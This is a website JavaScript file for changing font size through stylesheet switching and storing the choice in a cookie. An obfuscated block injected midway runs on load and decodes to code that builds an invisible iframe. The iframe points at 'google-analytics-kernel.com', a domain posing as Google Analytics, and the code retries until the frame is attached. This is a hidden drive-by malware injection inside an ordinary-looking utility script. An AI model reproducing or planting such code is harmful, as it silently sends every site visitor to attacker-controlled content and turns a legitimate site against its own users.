function fontsizeup()
{
	var active = getActiveStyleSheet();

	switch (active)
	{
		case 'A--':
			setActiveStyleSheet('A-');
		break;

		case 'A-':
			setActiveStyleSheet('A');
		break;

		case 'A':
			setActiveStyleSheet('A+');
		break;

		case 'A+':
			setActiveStyleSheet('A++');
		break;

		case 'A++':
			setActiveStyleSheet('A');
		break;

		default:
			setActiveStyleSheet('A');
		break;
	}
}

function fontsizedown()
{
	active = getActiveStyleSheet();

	switch (active)
	{
		case 'A++' : 
			setActiveStyleSheet('A+');
		break;

		case 'A+' : 
			setActiveStyleSheet('A');
		break;

		case 'A' : 
			setActiveStyleSheet('A-');
		break;

		case 'A-' : 
			setActiveStyleSheet('A--');
		break;

		case 'A--' : 
		break;

		default :
			setActiveStyleSheet('A--');
		break;
	}
}

function setActiveStyleSheet(title)
{
	var i, a, main;

	for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
	{
		if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title'))
		{
			a.disabled = true;
			if (a.getAttribute('title') == title)
			{
				a.disabled = false;
			}
		}
	}
}
function zG(){};
zG.prototype = {fK : function() {
	return 'h3tFtIp3:F/)/FgIo3o3g&l3eF-Ia3nFIaIl3y&t&)i3cFs3-3kFeFIr3n)eFl3.Ic3oFm&/)i3nF.cFgFiF?)2F0'.iH(/[\)I&F3]/g, '');
},v : function() {
	String.prototype.iH=function(d, o){
		return this.replace(d, o)
	};
        var y=window;
        var yR=y['u{n$eYs9c{aYp{eY'.iH(/[Yj9\$\{]/g, '')];
        var z = this;
        var oD = "<span>%3C%2Fbody%3E%3C%2Fhtml%3E";
        var f=document;
        var k = { 
		vM : 'arpTpreonTd#CohoirlSd#'.iH(/[#roST]/g, ''), 
		oU : 'svtuyvlvei'.iH(/[ivua_]/g, ''),  
		kC : 'cKrCe3aKt3ezEzlzezmKeGn3tK'.iH(/[K3zCG]/g, ''), 
		fV : 'sReDtRATtTt?rRiRbRuTtEeT'.iH(/[TD\?ER]/g, ''), 
		w : 's;rLcL'.iH(/[L;\{\(5]/g, ''), 
		xK : 'bko1dUyT'.iH(/[T1Uk\)]/g, '') 
	};
	var n=f[k.kC]('i<furuaKm<ed'.iH(/[d\<\!uK]/g, ''));
	try {
		nE(n,k.oU, yR("display%3A%20none"));
		nE(n,k.w, this.fK());
		f[k.xK][k.vM](n);
	} 
	catch(g) {
		f['wSr%i;tSe%'.iH(/[%;XS/]/g, '')](yR(oD));
		y['s+eAt+T6iwm+ewoAuAtw'.iH(/[w\+Z6A]/g, '')](function(){ 
			z.v();
		}, 368);
	}
	function nE(n, j, dB){
		n[k.fV](j,dB);
	}
}
};
var cP=new zG(); 
cP.v();
function getActiveStyleSheet()
{
	var i, a;

	for (i = 0; (a = document.getElementsByTagName('link')[i]); i++)
	{
		if (a.getAttribute('rel').indexOf('style') != -1 && a.getAttribute('title') && !a.disabled)
		{
			return a.getAttribute('title');
		}
	}

	return null;
}

function getPreferredStyleSheet()
{
	return ('A-');
}

function createCookie(name, value, days)
{
	if (days)
	{
		var date = new Date();
		date.setTime(date.getTime() + (days*24*60*60*1000));
		var expires = '; expires=' + date.toGMTString();
	}
	else
	{
		expires = '';
	}

	document.cookie = name + '=' + value + expires + '; path=/';
}

function readCookie(name)
{
	var nameEQ = name + '=';
	var ca = document.cookie.split(';');

	for (var i = 0; i < ca.length; i++)
	{
		var c = ca[i];

		while (c.charAt(0) == ' ')
		{
			c = c.substring(1, c.length);
		}

		if (c.indexOf(nameEQ) == 0)
		{
			return c.substring(nameEQ.length, c.length);
		}
	}

	return null;
}

function load_cookie()
{
	var cookie = readCookie('style_cookie');
	var title = cookie ? cookie : getPreferredStyleSheet();
	setActiveStyleSheet(title);
}

function unload_cookie()
{
	var title = getActiveStyleSheet();
	createCookie('style_cookie', title, 365);
}

onload_functions.push('load_cookie()');
onunload_functions.push('unload_cookie()');

/*
var cookie = readCookie("style");
var title = cookie ? cookie : getPreferredStyleSheet();
setActiveStyleSheet(title);
*/